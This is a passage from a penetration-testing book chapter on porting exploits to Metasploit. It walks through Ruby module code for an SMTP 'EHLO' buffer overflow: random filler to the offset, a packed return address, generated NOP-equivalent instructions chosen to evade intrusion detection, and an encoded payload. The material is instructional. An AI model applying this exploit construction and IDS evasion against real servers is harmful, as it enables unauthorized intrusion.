Porting Exploits to the Metasploit Framework
223
By declaring the
Offset
here , you will no longer need to include the
string of
A
s manually in the exploit itself. This is a very useful feature, because
in some cases the buffer length will differ across different operating system
versions.
We can now edit the exploit section to have Metasploit generate a ran-
dom string of uppercase alphabetic characters instead of the 5093
A
s at run-
time. From this point on, each run of the exploit will have a unique buffer.
(We’ll use
rand_text_alpha_upper
to accomplish this, but we aren’t limited to
this one engine. To see all available text formats, see the
text.rb
file located
on Back|Track under
/opt/metasploit/msf3/lib/rex/
.)
sploit = "EHLO "
sploit <<
rand_text_alpha_upper
(target['Offset']
sploit << [target['Ret']].pack('V')
sploit << "\x90" * 32
sploit << "\xcc" * 1000
As you can see, the string of
A
s will be replaced with a random string of
uppercase alphanumeric characters. And when we run the module again, it
still works properly.
Removing the NOP Slide
Our next step is to remove the very obvious NOP slide, because this is another
item that often triggers intrusion detection systems. Although
\x90
is the best-
known no-operation instruction, it isn’t the only one available. We can use
the
make_nops()
function to tell Metasploit to use random NOP-equivalent
instructions in the module:
sploit = "EHLO "
sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target['Ret']].pack('V')
sploit <<
make_nops(32)
sploit << "\xcc" * 1000
We run the module again and check our debugger, which should be
paused again on the INT3 instructions. The familiar NOP slide has been
replaced by seemingly random characters, as shown in Figure 15-3.
Removing the Dummy Shellcode
With everything in the module working correctly, we can now remove the
dummy shellcode. The encoder will exclude the bad characters declared in
the module super block.
sploit = "EHLO "
sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target['Ret']].pack('V')
sploit << make_nops(32)
sploit <<
payload.encoded